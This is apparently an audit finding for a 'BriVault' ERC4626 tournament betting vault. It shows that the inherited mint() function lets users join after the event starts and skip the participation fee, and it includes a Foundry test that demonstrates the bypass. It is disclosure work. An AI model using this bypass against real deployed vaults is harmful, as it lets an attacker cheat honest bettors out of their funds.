The BriVault contract has a critical vulnerability that allows users to deposit funds after the tournament has started. While the contract properly blocks deposits through the deposit() function once the event begins, it fails to protect the inherited mint() function from the ERC4626 standard. This means attackers can simply call mint() instead of deposit() to bypass all the event timing restrictions. The attacker can wait to see which team is winning before placing their bet, completely breaking the fairness of the tournament betting system. Even worse, when using mint() to deposit, the attacker doesn't pay any participation fees that legitimate users had to pay.
An attacker can exploit this vulnerability to gain an unfair advantage by depositing funds after the tournament starts when they can already see which teams are performing well. This allows them to bet on likely winners with almost no risk, while honest users who deposited before the event started took the actual risk. The attacker also avoids paying the participation fee that was charged to all legitimate bettors. This completely undermines the entire betting mechanism and can result in honest participants losing their funds to someone who cheated the system. The vulnerability makes the tournament betting vault fundamentally unfair and untrustworthy.
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public victim1;
address public victim2;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
victim1 = makeAddr("victim1");
victim2 = makeAddr("victim2");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), victim1, 10000 * 1e18);
deal(address(token), victim2, 10000 * 1e18);
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitMintAfterEventStarts() public {
vm.startPrank(victim1);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, victim1);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(victim2);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, victim2);
briVault.joinEvent(1);
vm.stopPrank();
uint256 feeCollectorBalanceBeforeEvent = token.balanceOf(feeCollector);
vm.warp(eventStartDate + 12 hours);
vm.startPrank(address(0xdead));
deal(address(token), address(0xdead), 30000 * 1e18);
token.approve(address(briVault), type(uint256).max);
vm.expectRevert();
briVault.deposit(30000 * 1e18, address(0xdead));
uint256 lateBalanceBefore = token.balanceOf(address(0xdead));
uint256 vaultBalanceBefore = token.balanceOf(address(briVault));
briVault.mint(30000 * 1e18, address(0xdead));
uint256 lateBalanceAfter = token.balanceOf(address(0xdead));
uint256 vaultBalanceAfter = token.balanceOf(address(briVault));
uint256 lateShares = briVault.balanceOf(address(0xdead));
uint256 assetsDepositedByLate = lateBalanceBefore - lateBalanceAfter;
assertGt(lateShares, 0);
assertGt(assetsDepositedByLate, 0);
assertGt(vaultBalanceAfter, vaultBalanceBefore);
assertEq(token.balanceOf(feeCollector), feeCollectorBalanceBeforeEvent);
vm.stopPrank();
}
}